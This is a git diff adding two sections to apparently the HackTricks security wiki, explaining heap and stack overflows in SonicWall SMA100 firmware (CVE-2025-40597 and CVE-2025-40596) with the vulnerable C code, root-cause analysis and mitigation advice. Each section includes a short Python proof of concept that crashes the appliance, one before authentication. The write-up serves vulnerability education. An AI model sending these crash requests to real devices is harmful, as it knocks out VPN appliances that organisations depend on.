diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 96b32c9c4..6c0a3cc6e 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -47,6 +47,42 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt - We use an Integer Overflow vulnerability to get a Heap Overflow. - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk` + +In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`: + +```c +char *buf = calloc(0x80, 1); +/* … */ +__sprintf_chk(buf, /* destination (0x80-byte chunk) */ + -1, /* <-- size argument !!! */ + 0, /* flags */ + "%s%s%s%s", /* format */ + "/", "https://", path, host); +``` + +`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`. + +Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with: + +```python +import requests, warnings +warnings.filterwarnings('ignore') +requests.get( + 'https://TARGET/__api__/', + headers={'Host': 'A'*750}, + verify=False +) +``` + +Practical exploitation would require **heap grooming** to place a controllable object right after the vulnerable chunk, but the root cause highlights two important takeaways: + +1. **_FORTIFY_SOURCE is not a silver bullet** – misuse can nullify the protection. +2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`). + +## References +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index d6197d9dc..a154c51a0 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -101,6 +101,39 @@ There are several protections trying to prevent the exploitation of vulnerabilit ../common-binary-protections-and-bypasses/ {{#endref}} +### Real-World Example: CVE-2025-40596 (SonicWall SMA100) + +A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. +The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`: + +```c +char version[3]; +char endpoint[0x800] = {0}; +/* simplified proto-type */ +sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); +``` + +1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`). +2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**. +3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**. + +A single-line proof-of-concept is enough to trigger the crash **before authentication**: + +```python +import requests, warnings +warnings.filterwarnings('ignore') +url = "https://TARGET/__api__/v1/" + "A"*3000 +requests.get(url, verify=False) +``` + +Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: + +* Always provide a **maximum field width** (e.g. `%511s`). +* Prefer safer alternatives such as `snprintf`/`strncpy_s`. + +## References +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}}